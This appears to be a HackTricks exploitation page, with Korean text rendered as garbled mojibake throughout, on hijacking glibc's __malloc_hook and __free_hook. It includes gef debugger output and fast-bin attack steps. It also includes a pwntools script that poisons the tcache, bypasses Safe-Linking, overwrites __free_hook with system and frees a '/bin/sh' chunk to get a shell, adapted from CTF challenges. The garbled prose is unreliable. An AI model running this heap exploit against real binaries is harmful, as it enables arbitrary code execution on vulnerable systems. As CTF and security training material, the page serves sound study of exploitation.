WWW2Exec - __malloc_hook & __free_hook
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Malloc Hook
๊ณต์ GNU ์ฌ์ดํธ์ ๋ฐ๋ฅด๋ฉด, ๋ณ์ **__malloc_hook**๋ malloc()๊ฐ ํธ์ถ๋ ๋๋ง๋ค ํธ์ถ๋ ํจ์์ ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ๋ก, libc ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋ฐ์ดํฐ ์น์
์ ์ ์ฅ๋ฉ๋๋ค. ๋ฐ๋ผ์ ์ด ์ฃผ์๊ฐ ์๋ฅผ ๋ค์ด One Gadget์ผ๋ก ๋ฎ์ด์ฐ์ฌ์ง๋ฉด malloc์ด ํธ์ถ๋ ๋ One Gadget์ด ํธ์ถ๋ฉ๋๋ค.
malloc์ ํธ์ถํ๊ธฐ ์ํด ํ๋ก๊ทธ๋จ์ด ํธ์ถํ ๋๊น์ง ๊ธฐ๋ค๋ฆฌ๊ฑฐ๋ **printf("%10000$c")**๋ฅผ ํธ์ถํ์ฌ ๋๋ฌด ๋ง์ ๋ฐ์ดํธ๋ฅผ ํ ๋นํ์ฌ libc๊ฐ ํ์ ํ ๋นํ๋๋ก ํ ์ ์์ต๋๋ค.
One Gadget์ ๋ํ ๋ ๋ง์ ์ ๋ณด๋ ๋ค์์์ ํ์ธํ ์ ์์ต๋๋ค:
Warning
GLIBC >= 2.34์์๋ ํํฌ๊ฐ ๋นํ์ฑํ๋์ด ์์ต๋๋ค. ์ต์ GLIBC ๋ฒ์ ์์ ์ฌ์ฉํ ์ ์๋ ๋ค๋ฅธ ๊ธฐ์ ์ด ์์ต๋๋ค. ์ฐธ์กฐ: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
Free Hook
์ด๋ ์ ๋ ฌ๋์ง ์์ ๋น ๊ณต๊ฒฉ์ ๋จ์ฉํ ํ ๋น ๋ฅธ ๋น ๊ณต๊ฒฉ์ ๋จ์ฉํ ์์ ์ค ํ๋์์ ์ ์ฉ๋์์ต๋๋ค:
์ด์ง ํ์ผ์ ๊ธฐํธ๊ฐ ์๋ ๊ฒฝ์ฐ ๋ค์ ๋ช
๋ น์ด๋ก __free_hook์ ์ฃผ์๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค:
gefโค p &__free_hook
ํฌ์คํธ์์ ๊ธฐํธ ์์ด free hook์ ์ฃผ์๋ฅผ ์ฐพ๋ ๋จ๊ณ๋ณ ๊ฐ์ด๋๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค. ์์ฝํ์๋ฉด, free ํจ์์์:
gefโค x/20i free
0xf75dedc0 : push ebx
0xf75dedc1 : call 0xf768f625
0xf75dedc6 : add ebx,0x14323a
0xf75dedcc : sub esp,0x8
0xf75dedcf : mov eax,DWORD PTR [ebx-0x98]
0xf75dedd5 : mov ecx,DWORD PTR [esp+0x10]
0xf75dedd9 : mov eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb : test eax,eax ;<
0xf75deddd : jne 0xf75dee50
์ด์ ์ฝ๋์์ ์ธ๊ธ๋ ์ค๋จ์ ์์ $eax์๋ free hook์ ์ฃผ์๊ฐ ์์นํ๊ฒ ๋ฉ๋๋ค.
์ด์ fast bin attack์ด ์ํ๋ฉ๋๋ค:
- ์ฐ์ ,
__free_hook ์์น์์ 200 ํฌ๊ธฐ์ ๋น ๋ฅธ ์ฒญํฌ๋ก ์์
ํ ์ ์๋ค๋ ๊ฒ์ด ๋ฐ๊ฒฌ๋ฉ๋๋ค:
-
gefโค p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gefโค x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
- ์ด ์์น์์ ํฌ๊ธฐ 0x200์ ๋น ๋ฅธ ์ฒญํฌ๋ฅผ ์ป์ผ๋ฉด ์คํ๋ ํจ์ ํฌ์ธํฐ๋ฅผ ๋ฎ์ด์ธ ์ ์์ต๋๋ค.
- ์ด๋ฅผ ์ํด ํฌ๊ธฐ
0xfc์ ์๋ก์ด ์ฒญํฌ๋ฅผ ์์ฑํ๊ณ ๊ทธ ํฌ์ธํฐ๋ก ๋ณํฉ๋ ํจ์๋ฅผ ๋ ๋ฒ ํธ์ถํ์ฌ, ๋น ๋ฅธ ๋น์์ ํฌ๊ธฐ 0xfc*2 = 0x1f8์ ํด์ ๋ ์ฒญํฌ์ ๋ํ ํฌ์ธํฐ๋ฅผ ์ป์ต๋๋ค.
- ๊ทธ๋ฐ ๋ค์, ์ด ์ฒญํฌ์์
fd ์ฃผ์๋ฅผ ์ด์ __free_hook ํจ์๋ก ๊ฐ๋ฆฌํค๋๋ก ์์ ํ๊ธฐ ์ํด ํธ์ง ํจ์๋ฅผ ํธ์ถํฉ๋๋ค.
- ์ดํ, ํฌ๊ธฐ
0x1f8์ ์ฒญํฌ๋ฅผ ์์ฑํ์ฌ ๋น ๋ฅธ ๋น์์ ์ด์ ์ ์ธ๋ชจ์๋ ์ฒญํฌ๋ฅผ ๊ฐ์ ธ์ค๊ณ , ๋ ๋ค๋ฅธ ํฌ๊ธฐ 0x1f8์ ์ฒญํฌ๋ฅผ ์์ฑํ์ฌ **__free_hook**์์ ๋น ๋ฅธ ๋น ์ฒญํฌ๋ฅผ ๊ฐ์ ธ์ค๊ณ , ์ด๋ฅผ system ํจ์์ ์ฃผ์๋ก ๋ฎ์ด์๋๋ค.
- ๋ง์ง๋ง์ผ๋ก, ๋ฌธ์์ด
/bin/sh\x00์ ํฌํจํ๋ ์ฒญํฌ๊ฐ ์ญ์ ํจ์ ํธ์ถ๋ก ํด์ ๋์ด __free_hook ํจ์๊ฐ ํธ์ถ๋๊ณ , ์ด ํจ์๋ /bin/sh\x00์ ๋งค๊ฐ๋ณ์๋ก ํ์ฌ system์ ๊ฐ๋ฆฌํต๋๋ค.
Tcache ์ค์ผ ๋ฐ Safe-Linking (glibc 2.32 โ 2.33)
glibc 2.32๋ Safe-Linking์ ๋์
ํ์ต๋๋ค. ์ด๋ tcache์ ๋น ๋ฅธ ๋น์์ ์ฌ์ฉ๋๋ ๋จ์ผ ์ฐ๊ฒฐ ๋ฆฌ์คํธ๋ฅผ ๋ณดํธํ๋ ๋ฌด๊ฒฐ์ฑ ๊ฒ์ฌ์
๋๋ค. ์์ ํฌ์ธํฐ(fd)๋ฅผ ์ ์ฅํ๋ ๋์ , ptmalloc์ ์ด์ ๋ค์ ๋งคํฌ๋ก๋ก ์ํธํ๋ ํํ๋ก ์ ์ฅํฉ๋๋ค:
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
์
์ฉ์ ๊ฒฐ๊ณผ:
- ํ ๋์๋ ํ์์
๋๋ค โ ๊ณต๊ฒฉ์๋ ์ ํจํ ๋๋
ํ๋ ํฌ์ธํฐ๋ฅผ ๋ง๋ค๊ธฐ ์ํด
chunk_addr >> 12์ ๋ฐํ์ ๊ฐ์ ์์์ผ ํฉ๋๋ค.
- ์ค์ง ์ ์ฒด 8๋ฐ์ดํธ ํฌ์ธํฐ๋ง ์์กฐํ ์ ์์ผ๋ฉฐ, ๋จ์ผ ๋ฐ์ดํธ ๋ถ๋ถ ๋ฎ์ด์ฐ๊ธฐ๋ ๊ฒ์ฌ๋ฅผ ํต๊ณผํ์ง ๋ชปํฉ๋๋ค.
glibc 2.32/2.33์์ __free_hook๋ฅผ ๋ฎ์ด์ฐ๋ ์ต์ํ์ tcache-๋
์ด ์ฃผ์
์๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free โ poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
์์ ์ค๋ํซ์ *UIUCTF 2024 โ ยซRusty Pointersยป*์ *openECSC 2023 โ ยซBabyheap Gยป*์ ๊ฐ์ ์ต๊ทผ CTF ์ฑ๋ฆฐ์ง์์ ์์ ๋ ๊ฒ์ผ๋ก, ๋ ์ฑ๋ฆฐ์ง ๋ชจ๋ __free_hook์ ๋ฎ์ด์ฐ๋ Safe-Linking ์ฐํ์ ์์กดํ์ต๋๋ค.
glibc โฅ 2.34์์ ๋ณ๊ฒฝ๋ ์ฌํญ์ ๋ฌด์์ธ๊ฐ์?
**glibc 2.34 (2021๋
8์)**๋ถํฐ ํ ๋น ํ
__malloc_hook, __realloc_hook, __memalign_hook ๋ฐ __free_hook์ ๊ณต์ API์์ ์ ๊ฑฐ๋์์ผ๋ฉฐ ๋ ์ด์ ํ ๋น์์ ์ํด ํธ์ถ๋์ง ์์ต๋๋ค. ํธํ์ฑ ๊ธฐํธ๋ ๋ ๊ฑฐ์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ํด ์ฌ์ ํ ๋ด๋ณด๋ด์ง์ง๋ง, ์ด๋ฅผ ๋ฎ์ด์ฐ๋ ๊ฒ์ ๋ ์ด์ malloc() ๋๋ free()์ ์ ์ด ํ๋ฆ์ ์ํฅ์ ๋ฏธ์น์ง ์์ต๋๋ค.
์ค์ฉ์ ์ธ ์๋ฏธ: ์ต์ ๋ฐฐํฌํ(Ubuntu 22.04+, Fedora 35+, Debian 12 ๋ฑ)์์๋ ๋ค๋ฅธ ํ์ด์ฌํน ์์(primitives)(IO-FILE, __run_exit_handlers, vtable spraying ๋ฑ)๋ก ์ ํํด์ผ ํฉ๋๋ค. ํ
๋ฎ์ด์ฐ๊ธฐ๋ ์กฐ์ฉํ ์คํจํ ๊ฒ์
๋๋ค.
๋๋ฒ๊น
์ ์ํด ์ด์ ๋์์ด ์ฌ์ ํ ํ์ํ๋ค๋ฉด, glibc๋ ๋ ๊ฑฐ์ ํ
์ ๋ค์ ํ์ฑํํ๊ธฐ ์ํด ๋ฏธ๋ฆฌ ๋ก๋ํ ์ ์๋ libc_malloc_debug.so๋ฅผ ์ ๊ณตํฉ๋๋ค. ๊ทธ๋ฌ๋ ์ด ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ ์์ฐ ํ๊ฒฝ์ ์ํ ๊ฒ์ด ์๋๋ฉฐ ํฅํ ๋ฆด๋ฆฌ์ค์์ ์ฌ๋ผ์ง ์ ์์ต๋๋ค.
์ฐธ๊ณ ๋ฌธํ
- https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook
- https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
- Safe-Linking โ 20๋
๋ malloc() ์ต์คํ๋ก์ ์์ ์ ๊ฑฐ (Check Point Research, 2020)
- glibc 2.34 ๋ฆด๋ฆฌ์ค ๋
ธํธ โ malloc ํ
์ ๊ฑฐ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋
๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.